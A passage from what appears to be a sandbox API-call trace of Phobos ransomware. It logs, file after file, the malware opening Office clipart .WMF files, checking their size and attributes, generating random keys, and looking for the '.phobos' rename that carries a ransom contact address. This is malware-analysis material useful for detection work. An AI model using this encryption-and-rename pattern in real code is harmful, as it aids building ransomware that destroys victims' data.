(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.045] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.046] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2940) returned 1 [0154.046] CloseHandle (hObject=0x584) returned 1 [0154.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf")) returned 0x220 [0154.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.046] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.047] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2088) returned 1 [0154.047] CloseHandle (hObject=0x584) returned 1 [0154.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00391_.wmf")) returned 0x220 [0154.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00391_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00391_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.047] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28750) returned 1 [0154.047] CloseHandle (hObject=0x584) returned 1 [0154.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf")) returned 0x220 [0154.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.049] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5180) returned 1 [0154.049] CloseHandle (hObject=0x584) returned 1 [0154.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf")) returned 0x220 [0154.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.049] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.050] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5444) returned 1 [0154.050] CloseHandle (hObject=0x584) returned 1 [0154.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf")) returned 0x220 [0154.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.052] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2168) returned 1 [0154.052] CloseHandle (hObject=0x584) returned 1 [0154.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00452_.wmf")) returned 0x220 [0154.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00452_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00452_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.053] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.054] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23020) returned 1 [0154.054] CloseHandle (hObject=0x584) returned 1 [0154.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf")) returned 0x220 [0154.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.055] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2924) returned 1 [0154.055] CloseHandle (hObject=0x584) returned 1 [0154.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf")) returned 0x220 [0154.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.055] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.056] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2760) returned 1 [0154.056] CloseHandle (hObject=0x584) returned 1 [0154.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf")) returned 0x220 [0154.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.057] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4032) returned 1 [0154.057] CloseHandle (hObject=0x584) returned 1 [0154.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00476_.wmf")) returned 0x220 [0154.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00476_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00476_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.058] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23304) returned 1 [0154.058] CloseHandle (hObject=0x584) returned 1 [0154.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf")) returned 0x220 [0154.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.059] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.060] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11192) returned 1 [0154.060] CloseHandle (hObject=0x584) returned 1 [0154.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf")) returned 0x220 [0154.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.060] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.061] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7768) returned 1 [0154.061] CloseHandle (hObject=0x584) returned 1 [0154.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf")) returned 0x220 [0154.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.062] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2724) returned 1 [0154.062] CloseHandle (hObject=0x584) returned 1 [0154.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00505_.wmf")) returned 0x220 [0154.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00505_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00505_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.062] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.064] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5924) returned 1 [0154.064] CloseHandle (hObject=0x584) returned 1 [0154.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf")) returned 0x220 [0154.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.064] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.065] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9730) returned 1 [0154.065] CloseHandle (hObject=0x584) returned 1 [0154.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf")) returned 0x220 [0154.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.065] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.066] GetFileSizeEx 